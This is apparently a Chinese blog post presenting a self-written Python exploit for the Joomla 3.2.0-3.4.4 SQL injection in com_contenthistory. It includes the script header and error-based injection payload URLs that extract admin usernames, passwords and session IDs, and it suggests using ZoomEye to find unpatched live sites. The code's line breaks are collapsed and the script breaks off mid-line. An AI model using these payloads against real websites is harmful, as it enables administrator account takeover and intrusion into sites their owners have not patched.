前段时间闹得很火的一个SQL注入漏洞,影响版本Joomla 3.2.0-3.4.4版本。目前官方已经提供了升级版本。
Freebuf上的翻译版本在这里:http://www.freebuf.com/articles/82811.html。
主要是尝试一下用Python写了一个利用的工具,可以获取SessionID,获取管理员的账户密码,管理员的的名字。其他的功能只需要加上对应的Payload即可。没有做多线程处理,item_id也只是尝试1000次,如果不成功的话就会退出。在本地测试成功。利用zoomeye也还是可以找到没有及时打补丁的网站。下面看下展示图。
本地测试:
在线测试:
最后,分享一下源码,写的比较粗糙:
#!/usr/bin/env python# Exploit Title:Joomla 3.2.0-3.4.4 sql injection# Date:30/10/2015# Exploit Author:ShadonSniperimport requests
import optparse
import urlparse
import sysimport ctypes
import reFOREGROUND_GREEN = 0x0aFOREGROUND_RED = 0x0cFOREGROUND_BLUE = 0x09FOREGROUND_YELLOW = 0x0eSTD_OUTPUT_HANDLE = -11#PASSWORD_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=7&type_id=1&list[select]=(select%201%20from%20(select%20count(*),concat((select%20(select%20concat(username))%20from%20%23__users%20where name='Super User'%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)"
#SESSIONID_PAYLOAD = "/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM (select count(*),concat((select (select concat(session_id)) FROM jml_session LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
PASSFLAG1 = "